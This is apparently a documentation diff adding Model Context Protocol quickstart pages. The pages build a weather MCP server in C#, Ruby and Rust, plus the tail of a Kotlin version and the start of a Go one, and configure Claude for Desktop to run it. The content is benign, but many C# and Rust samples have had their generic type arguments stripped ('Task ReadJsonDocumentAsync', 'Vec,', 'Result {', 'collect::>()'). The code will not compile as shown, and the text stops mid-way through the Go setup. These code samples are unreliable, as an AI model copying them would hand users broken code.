+ put("type", "number")
+ put("description", "Latitude of the location")
+ }
+ putJsonObject("longitude") {
+ put("type", "number")
+ put("description", "Longitude of the location")
+ }
+ },
+ required = listOf("latitude", "longitude"),
+ ),
+ ) { request ->
+ val latitude = request.arguments?.get("latitude")?.jsonPrimitive?.doubleOrNull
+ val longitude = request.arguments?.get("longitude")?.jsonPrimitive?.doubleOrNull
+ if (latitude == null || longitude == null) {
+ return@addTool CallToolResult(
+ content = listOf(TextContent("The 'latitude' and 'longitude' parameters are required.")),
+ )
+ }
+
+ val forecast = httpClient.getForecast(latitude, longitude)
+ CallToolResult(content = forecast.map { TextContent(it) })
+ }
+ ```
+
+ ### Running the server
+
+ Finally, implement the main function to run the server:
+
+ ```kotlin theme={null}
+ fun main() = runMcpServer()
+ ```
+
+ You can run the server directly during development:
+
+ ```bash theme={null}
+ ./gradlew run
+ ```
+
+ For production use, build the shadow JAR:
+
+ ```bash theme={null}
+ ./gradlew build
+ java -jar build/libs/weather-0.1.0-all.jar
+ ```
+
+ Let's now test your server from an existing MCP host, Claude for Desktop.
+
+ ## Testing your server with Claude for Desktop
+
+
+ Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/2026-07-28/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
+
+
+ First, make sure you have Claude for Desktop installed. [You can install the latest version
+ here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
+
+ We'll need to configure Claude for Desktop for whichever MCP servers you want to use.
+ To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor.
+ Make sure to create the file if it doesn't exist.
+
+ For example, if you have [VS Code](https://code.visualstudio.com/) installed:
+
+
+ ```bash macOS/Linux theme={null}
+ code ~/Library/Application\ Support/Claude/claude_desktop_config.json
+ ```
+
+ ```powershell Windows theme={null}
+ code $env:AppData\Claude\claude_desktop_config.json
+ ```
+
+
+ You'll then add your servers in the `mcpServers` key.
+ The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
+
+ In this case, we'll add our single weather server like so:
+
+
+ ```json macOS/Linux theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "java",
+ "args": [
+ "-jar",
+ "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/build/libs/weather-0.1.0-all.jar"
+ ]
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "java",
+ "args": [
+ "-jar",
+ "C:\\PATH\\TO\\PARENT\\FOLDER\\weather\\build\\libs\\weather-0.1.0-all.jar"
+ ]
+ }
+ }
+ }
+ ```
+
+
+ This tells Claude for Desktop:
+
+ 1. There's an MCP server named "weather"
+ 2. Launch it by running `java -jar /ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/build/libs/weather-0.1.0-all.jar`
+
+ Save the file, and restart **Claude for Desktop**.
+
+
+
+ Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/csharp-sdk/tree/main/samples/QuickstartWeatherServer)
+
+ ### Prerequisite knowledge
+
+ This quickstart assumes you have familiarity with:
+
+ * C#
+ * LLMs like Claude
+ * .NET 8 or higher
+
+ ### Logging in MCP Servers
+
+ When implementing MCP servers, be careful about how you handle logging:
+
+ **For STDIO-based servers:** Never use `Console.WriteLine()` or `Console.Write()`, as they write to standard output (stdout). Writing to stdout will corrupt the JSON-RPC messages and break your server.
+
+ **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
+
+ ### Best Practices
+
+ * Use a logging library that writes to stderr or files.
+
+ ### System requirements
+
+ * [.NET 8 SDK](https://dotnet.microsoft.com/download/dotnet/8.0) or higher installed.
+
+ ### Set up your environment
+
+ First, let's install `dotnet` if you haven't already. You can download `dotnet` from [official Microsoft .NET website](https://dotnet.microsoft.com/download/). Verify your `dotnet` installation:
+
+ ```bash theme={null}
+ dotnet --version
+ ```
+
+ Now, let's create and set up your project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create a new directory for our project
+ mkdir weather
+ cd weather
+ # Initialize a new C# project
+ dotnet new console
+ ```
+
+ ```powershell Windows theme={null}
+ # Create a new directory for our project
+ mkdir weather
+ cd weather
+ # Initialize a new C# project
+ dotnet new console
+ ```
+
+
+ After running `dotnet new console`, you will be presented with a new C# project.
+ You can open the project in your favorite IDE, such as [Visual Studio](https://visualstudio.microsoft.com/) or [Rider](https://www.jetbrains.com/rider/).
+ Alternatively, you can create a C# application using the [Visual Studio project wizard](https://learn.microsoft.com/en-us/visualstudio/get-started/csharp/tutorial-console?view=vs-2022).
+ After creating the project, add NuGet package for the Model Context Protocol SDK and hosting:
+
+ ```bash theme={null}
+ # Add the Model Context Protocol SDK NuGet package
+ dotnet add package ModelContextProtocol --prerelease
+ # Add the .NET Hosting NuGet package
+ dotnet add package Microsoft.Extensions.Hosting
+ ```
+
+ Now let’s dive into building your server.
+
+ ## Building your server
+
+ Open the `Program.cs` file in your project and replace its contents with the following code:
+
+ ```csharp theme={null}
+ using Microsoft.Extensions.DependencyInjection;
+ using Microsoft.Extensions.Hosting;
+ using ModelContextProtocol;
+ using System.Net.Http.Headers;
+
+ var builder = Host.CreateEmptyApplicationBuilder(settings: null);
+
+ builder.Services.AddMcpServer()
+ .WithStdioServerTransport()
+ .WithToolsFromAssembly();
+
+ builder.Services.AddSingleton(_ =>
+ {
+ var client = new HttpClient() { BaseAddress = new Uri("https://api.weather.gov") };
+ client.DefaultRequestHeaders.UserAgent.Add(new ProductInfoHeaderValue("weather-tool", "1.0"));
+ return client;
+ });
+
+ var app = builder.Build();
+
+ await app.RunAsync();
+ ```
+
+
+ When creating the `ApplicationHostBuilder`, ensure you use `CreateEmptyApplicationBuilder` instead of `CreateDefaultBuilder`. This ensures that the server does not write any additional messages to the console. This is only necessary for servers using STDIO transport.
+
+
+ This code sets up a basic console application that uses the Model Context Protocol SDK to create an MCP server with standard I/O transport.
+
+ ### Weather API helper functions
+
+ Create an extension class for `HttpClient` which helps simplify JSON request handling:
+
+ ```csharp theme={null}
+ using System.Text.Json;
+
+ internal static class HttpClientExt
+ {
+ public static async Task ReadJsonDocumentAsync(this HttpClient client, string requestUri)
+ {
+ using var response = await client.GetAsync(requestUri);
+ response.EnsureSuccessStatusCode();
+ return await JsonDocument.ParseAsync(await response.Content.ReadAsStreamAsync());
+ }
+ }
+ ```
+
+ Next, define a class with the tool execution handlers for querying and converting responses from the National Weather Service API:
+
+ ```csharp theme={null}
+ using ModelContextProtocol.Server;
+ using System.ComponentModel;
+ using System.Globalization;
+ using System.Text.Json;
+
+ namespace QuickstartWeatherServer.Tools;
+
+ [McpServerToolType]
+ public static class WeatherTools
+ {
+ [McpServerTool, Description("Get weather alerts for a US state code.")]
+ public static async Task GetAlerts(
+ HttpClient client,
+ [Description("The US state code to get alerts for.")] string state)
+ {
+ using var jsonDocument = await client.ReadJsonDocumentAsync($"/alerts/active/area/{state}");
+ var jsonElement = jsonDocument.RootElement;
+ var alerts = jsonElement.GetProperty("features").EnumerateArray();
+
+ if (!alerts.Any())
+ {
+ return "No active alerts for this state.";
+ }
+
+ return string.Join("\n--\n", alerts.Select(alert =>
+ {
+ JsonElement properties = alert.GetProperty("properties");
+ return $"""
+ Event: {properties.GetProperty("event").GetString()}
+ Area: {properties.GetProperty("areaDesc").GetString()}
+ Severity: {properties.GetProperty("severity").GetString()}
+ Description: {properties.GetProperty("description").GetString()}
+ Instruction: {properties.GetProperty("instruction").GetString()}
+ """;
+ }));
+ }
+
+ [McpServerTool, Description("Get weather forecast for a location.")]
+ public static async Task GetForecast(
+ HttpClient client,
+ [Description("Latitude of the location.")] double latitude,
+ [Description("Longitude of the location.")] double longitude)
+ {
+ var pointUrl = string.Create(CultureInfo.InvariantCulture, $"/points/{latitude},{longitude}");
+ using var jsonDocument = await client.ReadJsonDocumentAsync(pointUrl);
+ var forecastUrl = jsonDocument.RootElement.GetProperty("properties").GetProperty("forecast").GetString()
+ ?? throw new Exception($"No forecast URL provided by {client.BaseAddress}points/{latitude},{longitude}");
+
+ using var forecastDocument = await client.ReadJsonDocumentAsync(forecastUrl);
+ var periods = forecastDocument.RootElement.GetProperty("properties").GetProperty("periods").EnumerateArray();
+
+ return string.Join("\n---\n", periods.Select(period => $"""
+ {period.GetProperty("name").GetString()}
+ Temperature: {period.GetProperty("temperature").GetInt32()}°F
+ Wind: {period.GetProperty("windSpeed").GetString()} {period.GetProperty("windDirection").GetString()}
+ Forecast: {period.GetProperty("detailedForecast").GetString()}
+ """));
+ }
+ }
+ ```
+
+ ### Running the server
+
+ Finally, run the server using the following command:
+
+ ```bash theme={null}
+ dotnet run
+ ```
+
+ This will start the server and listen for incoming requests on standard input/output.
+
+ ## Testing your server with Claude for Desktop
+
+
+ Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/2026-07-28/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
+
+
+ First, make sure you have Claude for Desktop installed. [You can install the latest version
+ here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
+ We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.
+ For example, if you have [VS Code](https://code.visualstudio.com/) installed:
+
+
+ ```bash macOS/Linux theme={null}
+ code ~/Library/Application\ Support/Claude/claude_desktop_config.json
+ ```
+
+ ```powershell Windows theme={null}
+ code $env:AppData\Claude\claude_desktop_config.json
+ ```
+
+
+ You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
+ In this case, we'll add our single weather server like so:
+
+
+ ```json macOS/Linux theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "dotnet",
+ "args": ["run", "--project", "/ABSOLUTE/PATH/TO/PROJECT", "--no-build"]
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "dotnet",
+ "args": [
+ "run",
+ "--project",
+ "C:\\ABSOLUTE\\PATH\\TO\\PROJECT",
+ "--no-build"
+ ]
+ }
+ }
+ }
+ ```
+
+
+ This tells Claude for Desktop:
+
+ 1. There's an MCP server named "weather"
+ 2. Launch it by running `dotnet run /ABSOLUTE/PATH/TO/PROJECT`
+ Save the file, and restart **Claude for Desktop**.
+
+
+
+ Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-ruby)
+
+ ### Prerequisite knowledge
+
+ This quickstart assumes you have familiarity with:
+
+ * Ruby
+ * LLMs like Claude
+
+ ### Logging in MCP Servers
+
+ When implementing MCP servers, be careful about how you handle logging:
+
+ **For STDIO-based servers:** Never use `puts` or `print`, as they write to standard output (stdout) by default. Writing to stdout will corrupt the JSON-RPC messages and break your server.
+
+ **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
+
+ ### Best Practices
+
+ * Use a logging library that writes to stderr or files.
+
+ ### Quick Examples
+
+ ```ruby theme={null}
+ # ❌ Bad (STDIO)
+ puts "Processing request"
+
+ # ✅ Good (STDIO)
+ require "logger"
+ logger = Logger.new($stderr)
+ logger.info("Processing request")
+ ```
+
+ ### System requirements
+
+ * Ruby 2.7 or higher installed.
+
+ ### Set up your environment
+
+ First, let's make sure you have Ruby installed. You can check by running:
+
+ ```bash theme={null}
+ ruby --version
+ ```
+
+ Now, let's create and set up our project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create a new directory for our project
+ mkdir weather
+ cd weather
+
+ # Create a Gemfile
+ bundle init
+
+ # Add the MCP SDK dependency
+ bundle add mcp
+
+ # Create our server file
+ touch weather.rb
+ ```
+
+ ```powershell Windows theme={null}
+ # Create a new directory for our project
+ mkdir weather
+ cd weather
+
+ # Create a Gemfile
+ bundle init
+
+ # Add the MCP SDK dependency
+ bundle add mcp
+
+ # Create our server file
+ new-item weather.rb
+ ```
+
+
+ Now let's dive into building your server.
+
+ ## Building your server
+
+ ### Importing packages and setting up constants
+
+ Open `weather.rb` and add these requires and constants at the top:
+
+ ```ruby theme={null}
+ require "json"
+ require "mcp"
+ require "net/http"
+ require "uri"
+
+ NWS_API_BASE = "https://api.weather.gov"
+ USER_AGENT = "weather-app/1.0"
+ ```
+
+ The `mcp` gem provides the Model Context Protocol SDK for Ruby, with classes for server implementation and stdio transport.
+
+ ### Helper methods
+
+ Next, let's add helper methods for querying and formatting data from the National Weather Service API:
+
+ ```ruby theme={null}
+ module HelperMethods
+ def make_nws_request(url)
+ uri = URI(url)
+ request = Net::HTTP::Get.new(uri)
+ request["User-Agent"] = USER_AGENT
+ request["Accept"] = "application/geo+json"
+
+ response = Net::HTTP.start(uri.hostname, uri.port, use_ssl: true) do |http|
+ http.request(request)
+ end
+
+ raise "HTTP #{response.code}: #{response.message}" unless response.is_a?(Net::HTTPSuccess)
+
+ JSON.parse(response.body)
+ end
+
+ def format_alert(feature)
+ properties = feature["properties"]
+
+ <<~ALERT
+ Event: #{properties["event"] || "Unknown"}
+ Area: #{properties["areaDesc"] || "Unknown"}
+ Severity: #{properties["severity"] || "Unknown"}
+ Description: #{properties["description"] || "No description available"}
+ Instructions: #{properties["instruction"] || "No specific instructions provided"}
+ ALERT
+ end
+ end
+ ```
+
+ ### Implementing tool execution
+
+ Now let's define our tool classes. Each tool subclasses `MCP::Tool` and implements the tool logic:
+
+ ```ruby theme={null}
+ class GetAlerts < MCP::Tool
+ extend HelperMethods
+
+ tool_name "get_alerts"
+ description "Get weather alerts for a US state"
+ input_schema(
+ properties: {
+ state: {
+ type: "string",
+ description: "Two-letter US state code (e.g. CA, NY)"
+ }
+ },
+ required: ["state"]
+ )
+
+ def self.call(state:)
+ url = "#{NWS_API_BASE}/alerts/active/area/#{state.upcase}"
+ data = make_nws_request(url)
+
+ if data["features"].empty?
+ return MCP::Tool::Response.new([{
+ type: "text",
+ text: "No active alerts for this state."
+ }])
+ end
+
+ alerts = data["features"].map { |feature| format_alert(feature) }
+ MCP::Tool::Response.new([{
+ type: "text",
+ text: alerts.join("\n---\n")
+ }])
+ end
+ end
+
+ class GetForecast < MCP::Tool
+ extend HelperMethods
+
+ tool_name "get_forecast"
+ description "Get weather forecast for a location"
+ input_schema(
+ properties: {
+ latitude: {
+ type: "number",
+ description: "Latitude of the location"
+ },
+ longitude: {
+ type: "number",
+ description: "Longitude of the location"
+ }
+ },
+ required: ["latitude", "longitude"]
+ )
+
+ def self.call(latitude:, longitude:)
+ # First get the forecast grid endpoint.
+ points_url = "#{NWS_API_BASE}/points/#{latitude},#{longitude}"
+ points_data = make_nws_request(points_url)
+
+ # Get the forecast URL from the points response.
+ forecast_url = points_data["properties"]["forecast"]
+ forecast_data = make_nws_request(forecast_url)
+
+ # Format the periods into a readable forecast.
+ periods = forecast_data["properties"]["periods"]
+ forecasts = periods.first(5).map do |period|
+ <<~FORECAST
+ #{period["name"]}:
+ Temperature: #{period["temperature"]}°#{period["temperatureUnit"]}
+ Wind: #{period["windSpeed"]} #{period["windDirection"]}
+ Forecast: #{period["detailedForecast"]}
+ FORECAST
+ end
+
+ MCP::Tool::Response.new([{
+ type: "text",
+ text: forecasts.join("\n---\n")
+ }])
+ end
+ end
+ ```
+
+ ### Running the server
+
+ Finally, initialize and run the server:
+
+ ```ruby theme={null}
+ server = MCP::Server.new(
+ name: "weather",
+ version: "1.0.0",
+ tools: [GetAlerts, GetForecast]
+ )
+
+ transport = MCP::Server::Transports::StdioTransport.new(server)
+ transport.open
+ ```
+
+ Your server is complete! Run `bundle exec ruby weather.rb` to start the MCP server, which will listen for messages from MCP hosts.
+
+ Let's now test your server from an existing MCP host, Claude for Desktop.
+
+ ## Testing your server with Claude for Desktop
+
+
+ Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/2026-07-28/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
+
+
+ First, make sure you have Claude for Desktop installed. [You can install the latest version here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
+
+ We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.
+
+ For example, if you have [VS Code](https://code.visualstudio.com/) installed:
+
+
+ ```bash macOS/Linux theme={null}
+ code ~/Library/Application\ Support/Claude/claude_desktop_config.json
+ ```
+
+ ```powershell Windows theme={null}
+ code $env:AppData\Claude\claude_desktop_config.json
+ ```
+
+
+ You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
+
+ In this case, we'll add our single weather server like so:
+
+
+ ```json macOS/Linux theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "bundle",
+ "args": ["exec", "ruby", "weather.rb"],
+ "cwd": "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather"
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "bundle",
+ "args": ["exec", "ruby", "weather.rb"],
+ "cwd": "C:\\ABSOLUTE\\PATH\\TO\\PARENT\\FOLDER\\weather"
+ }
+ }
+ }
+ ```
+
+
+
+ Make sure you pass in the absolute path to your project directory in the `cwd` field. You can get this by running `pwd` on macOS/Linux or `cd` on Windows Command Prompt from your project directory. On Windows, remember to use double backslashes (`\\`) or forward slashes (`/`) in the JSON path.
+
+
+ This tells Claude for Desktop:
+
+ 1. There's an MCP server named "weather"
+ 2. Launch it by running `bundle exec ruby weather.rb` in the specified directory
+
+ Save the file, and restart **Claude for Desktop**.
+
+
+
+ Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-rust)
+
+ ### Prerequisite knowledge
+
+ This quickstart assumes you have familiarity with:
+
+ * Rust programming language
+ * Async/await in Rust
+ * LLMs like Claude
+
+ ### Logging in MCP Servers
+
+ When implementing MCP servers, be careful about how you handle logging:
+
+ **For STDIO-based servers:** Never use `println!()` or `print!()`, as they write to standard output (stdout). Writing to stdout will corrupt the JSON-RPC messages and break your server.
+
+ **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
+
+ ### Best Practices
+
+ * Use a logging library that writes to stderr or files, such as `tracing` or `log` in Rust.
+ * Configure your logging framework to avoid stdout output.
+
+ ### Quick Examples
+
+ ```rust theme={null}
+ // ❌ Bad (STDIO)
+ println!("Processing request");
+
+ // ✅ Good (STDIO)
+ eprintln!("Processing request"); // writes to stderr
+ ```
+
+ ### System requirements
+
+ * Rust 1.70 or higher installed.
+ * Cargo (comes with Rust installation).
+
+ ### Set up your environment
+
+ First, let's install Rust if you haven't already. You can install Rust from [rust-lang.org](https://www.rust-lang.org/tools/install):
+
+
+ ```bash macOS/Linux theme={null}
+ curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
+ ```
+
+ ```powershell Windows theme={null}
+ # Download and run rustup-init.exe from https://rustup.rs/
+ ```
+
+
+ Verify your Rust installation:
+
+ ```bash theme={null}
+ rustc --version
+ cargo --version
+ ```
+
+ Now, let's create and set up our project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create a new Rust project
+ cargo new weather
+ cd weather
+ ```
+
+ ```powershell Windows theme={null}
+ # Create a new Rust project
+ cargo new weather
+ cd weather
+ ```
+
+
+ Update your `Cargo.toml` to add the required dependencies:
+
+ ```toml Cargo.toml theme={null}
+ [package]
+ name = "weather"
+ version = "0.1.0"
+ edition = "2024"
+
+ [dependencies]
+ rmcp = { version = "0.3", features = ["server", "macros", "transport-io"] }
+ tokio = { version = "1.46", features = ["full"] }
+ reqwest = { version = "0.12", features = ["json"] }
+ serde = { version = "1.0", features = ["derive"] }
+ serde_json = "1.0"
+ anyhow = "1.0"
+ tracing = "0.1"
+ tracing-subscriber = { version = "0.3", features = ["env-filter", "std", "fmt"] }
+ ```
+
+ Now let's dive into building your server.
+
+ ## Building your server
+
+ ### Importing packages and constants
+
+ Open `src/main.rs` and add these imports and constants at the top:
+
+ ```rust theme={null}
+ use anyhow::Result;
+ use rmcp::{
+ ServerHandler, ServiceExt,
+ handler::server::{router::tool::ToolRouter, tool::Parameters},
+ model::*,
+ schemars, tool, tool_handler, tool_router,
+ };
+ use serde::Deserialize;
+ use serde::de::DeserializeOwned;
+
+ const NWS_API_BASE: &str = "https://api.weather.gov";
+ const USER_AGENT: &str = "weather-app/1.0";
+ ```
+
+ The `rmcp` crate provides the Model Context Protocol SDK for Rust, with features for server implementation, procedural macros, and stdio transport.
+
+ ### Data structures
+
+ Next, let's define the data structures for deserializing responses from the National Weather Service API:
+
+ ```rust theme={null}
+ #[derive(Debug, Deserialize)]
+ struct AlertsResponse {
+ features: Vec,
+ }
+
+ #[derive(Debug, Deserialize)]
+ struct AlertFeature {
+ properties: AlertProperties,
+ }
+
+ #[derive(Debug, Deserialize)]
+ struct AlertProperties {
+ event: Option,
+ #[serde(rename = "areaDesc")]
+ area_desc: Option,
+ severity: Option,
+ description: Option,
+ instruction: Option,
+ }
+
+ #[derive(Debug, Deserialize)]
+ struct PointsResponse {
+ properties: PointsProperties,
+ }
+
+ #[derive(Debug, Deserialize)]
+ struct PointsProperties {
+ forecast: String,
+ }
+
+ #[derive(Debug, Deserialize)]
+ struct ForecastResponse {
+ properties: ForecastProperties,
+ }
+
+ #[derive(Debug, Deserialize)]
+ struct ForecastProperties {
+ periods: Vec,
+ }
+
+ #[derive(Debug, Deserialize)]
+ struct ForecastPeriod {
+ name: String,
+ temperature: i32,
+ #[serde(rename = "temperatureUnit")]
+ temperature_unit: String,
+ #[serde(rename = "windSpeed")]
+ wind_speed: String,
+ #[serde(rename = "windDirection")]
+ wind_direction: String,
+ #[serde(rename = "detailedForecast")]
+ detailed_forecast: String,
+ }
+ ```
+
+ Now define the request types that MCP clients will send:
+
+ ```rust theme={null}
+ #[derive(serde::Deserialize, schemars::JsonSchema)]
+ pub struct MCPForecastRequest {
+ latitude: f32,
+ longitude: f32,
+ }
+
+ #[derive(serde::Deserialize, schemars::JsonSchema)]
+ pub struct MCPAlertRequest {
+ state: String,
+ }
+ ```
+
+ ### Helper functions
+
+ Add helper functions for making API requests and formatting responses:
+
+ ```rust theme={null}
+ async fn make_nws_request(url: &str) -> Result {
+ let client = reqwest::Client::new();
+ let rsp = client
+ .get(url)
+ .header(reqwest::header::USER_AGENT, USER_AGENT)
+ .header(reqwest::header::ACCEPT, "application/geo+json")
+ .send()
+ .await?
+ .error_for_status()?;
+ Ok(rsp.json::().await?)
+ }
+
+ fn format_alert(feature: &AlertFeature) -> String {
+ let props = &feature.properties;
+ format!(
+ "Event: {}\nArea: {}\nSeverity: {}\nDescription: {}\nInstructions: {}",
+ props.event.as_deref().unwrap_or("Unknown"),
+ props.area_desc.as_deref().unwrap_or("Unknown"),
+ props.severity.as_deref().unwrap_or("Unknown"),
+ props
+ .description
+ .as_deref()
+ .unwrap_or("No description available"),
+ props
+ .instruction
+ .as_deref()
+ .unwrap_or("No specific instructions provided")
+ )
+ }
+
+ fn format_period(period: &ForecastPeriod) -> String {
+ format!(
+ "{}:\nTemperature: {}°{}\nWind: {} {}\nForecast: {}",
+ period.name,
+ period.temperature,
+ period.temperature_unit,
+ period.wind_speed,
+ period.wind_direction,
+ period.detailed_forecast
+ )
+ }
+ ```
+
+ ### Implementing the Weather server and tools
+
+ Now let's implement the main Weather server struct with the tool handlers:
+
+ ```rust theme={null}
+ pub struct Weather {
+ tool_router: ToolRouter,
+ }
+
+ #[tool_router]
+ impl Weather {
+ fn new() -> Self {
+ Self {
+ tool_router: Self::tool_router(),
+ }
+ }
+
+ #[tool(description = "Get weather alerts for a US state.")]
+ async fn get_alerts(
+ &self,
+ Parameters(MCPAlertRequest { state }): Parameters,
+ ) -> String {
+ let url = format!(
+ "{}/alerts/active/area/{}",
+ NWS_API_BASE,
+ state.to_uppercase()
+ );
+
+ match make_nws_request::(&url).await {
+ Ok(data) => {
+ if data.features.is_empty() {
+ "No active alerts for this state.".to_string()
+ } else {
+ data.features
+ .iter()
+ .map(format_alert)
+ .collect::>()
+ .join("\n---\n")
+ }
+ }
+ Err(_) => "Unable to fetch alerts or no alerts found.".to_string(),
+ }
+ }
+
+ #[tool(description = "Get weather forecast for a location.")]
+ async fn get_forecast(
+ &self,
+ Parameters(MCPForecastRequest {
+ latitude,
+ longitude,
+ }): Parameters,
+ ) -> String {
+ let points_url = format!("{NWS_API_BASE}/points/{latitude},{longitude}");
+ let Ok(points_data) = make_nws_request::(&points_url).await else {
+ return "Unable to fetch forecast data for this location.".to_string();
+ };
+
+ let forecast_url = points_data.properties.forecast;
+
+ let Ok(forecast_data) = make_nws_request::(&forecast_url).await else {
+ return "Unable to fetch forecast data for this location.".to_string();
+ };
+
+ let periods = &forecast_data.properties.periods;
+ let forecast_summary: String = periods
+ .iter()
+ .take(5) // Next 5 periods only
+ .map(format_period)
+ .collect::>()
+ .join("\n---\n");
+ forecast_summary
+ }
+ }
+ ```
+
+ The `#[tool_router]` macro automatically generates the routing logic, and the `#[tool]` attribute marks methods as MCP tools.
+
+ ### Implementing the ServerHandler
+
+ Implement the `ServerHandler` trait to define server capabilities:
+
+ ```rust theme={null}
+ #[tool_handler]
+ impl ServerHandler for Weather {
+ fn get_info(&self) -> ServerInfo {
+ ServerInfo {
+ capabilities: ServerCapabilities::builder().enable_tools().build(),
+ ..Default::default()
+ }
+ }
+ }
+ ```
+
+ ### Running the server
+
+ Finally, implement the main function to run the server with stdio transport:
+
+ ```rust theme={null}
+ #[tokio::main]
+ async fn main() -> Result<()> {
+ let transport = (tokio::io::stdin(), tokio::io::stdout());
+ let service = Weather::new().serve(transport).await?;
+ service.waiting().await?;
+ Ok(())
+ }
+ ```
+
+ Build your server with:
+
+ ```bash theme={null}
+ cargo build --release
+ ```
+
+ The compiled binary will be in `target/release/weather`.
+
+ Let's now test your server from an existing MCP host, Claude for Desktop.
+
+ ## Testing your server with Claude for Desktop
+
+
+ Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/2026-07-28/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
+
+
+ First, make sure you have Claude for Desktop installed. [You can install the latest version here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
+
+ We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.
+
+ For example, if you have [VS Code](https://code.visualstudio.com/) installed:
+
+
+ ```bash macOS/Linux theme={null}
+ code ~/Library/Application\ Support/Claude/claude_desktop_config.json
+ ```
+
+ ```powershell Windows theme={null}
+ code $env:AppData\Claude\claude_desktop_config.json
+ ```
+
+
+ You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
+
+ In this case, we'll add our single weather server like so:
+
+
+ ```json macOS/Linux theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/target/release/weather"
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "C:\\ABSOLUTE\\PATH\\TO\\PARENT\\FOLDER\\weather\\target\\release\\weather.exe"
+ }
+ }
+ }
+ ```
+
+
+
+ Make sure you pass in the absolute path to your compiled binary. You can get this by running `pwd` on macOS/Linux or `cd` on Windows Command Prompt from your project directory. On Windows, remember to use double backslashes (`\\`) or forward slashes (`/`) in the JSON path, and add the `.exe` extension.
+
+
+ This tells Claude for Desktop:
+
+ 1. There's an MCP server named "weather"
+ 2. Launch it by running the compiled binary at the specified path
+
+ Save the file, and restart **Claude for Desktop**.
+
+
+
+ Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-go)
+
+ ### Prerequisite knowledge
+
+ This quickstart assumes you have familiarity with:
+
+ * Go
+ * LLMs like Claude
+
+ ### Logging in MCP Servers
+
+ When implementing MCP servers, be careful about how you handle logging:
+
+ **For STDIO-based servers:** Never use `fmt.Println()` or `fmt.Printf()`, as they write to standard output (stdout). Writing to stdout will corrupt the JSON-RPC messages and break your server.
+
+ **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
+
+ ### Best Practices
+
+ * Use `log.Println()` (which defaults to stderr) or a logging library that writes to stderr or files.
+ * Use `fmt.Fprintf(os.Stderr, ...)` to write to stderr explicitly.
+
+ ### Quick Examples
+
+ ```go theme={null}
+ // ❌ Bad (STDIO)
+ fmt.Println("Processing request")
+
+ // ✅ Good (STDIO)
+ log.Println("Processing request") // defaults to stderr
+
+ // ✅ Good (STDIO)
+ fmt.Fprintln(os.Stderr, "Processing request")
+ ```
+
+ ### System requirements
+
+ * Go 1.24 or higher installed.
+
+ ### Set up your environment
+
+ First, let's install Go if you haven't already. You can download and install Go from [go.dev](https://go.dev/dl/).
+
+ Verify your Go installation:
+
+ ```bash theme={null}
+ go version
+ ```
+
+ Now, let's create and set up our project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create a new directory for our project
+ mkdir weather
+ cd weather
+
+ # Initialize Go module
+ go mod init weather
+
+ # Install dependencies
+ go get github.com/modelcontextprotocol/go-sdk/mcp
+
+ # Create our server file
+ touch main.go
+ ```
+
+ ```powershell Windows theme={null}
+ # Create a new directory for our project
+ md weather
+ cd weather
+
+ # Initialize Go module
+ go mod init weather
+
+ # Install dependencies
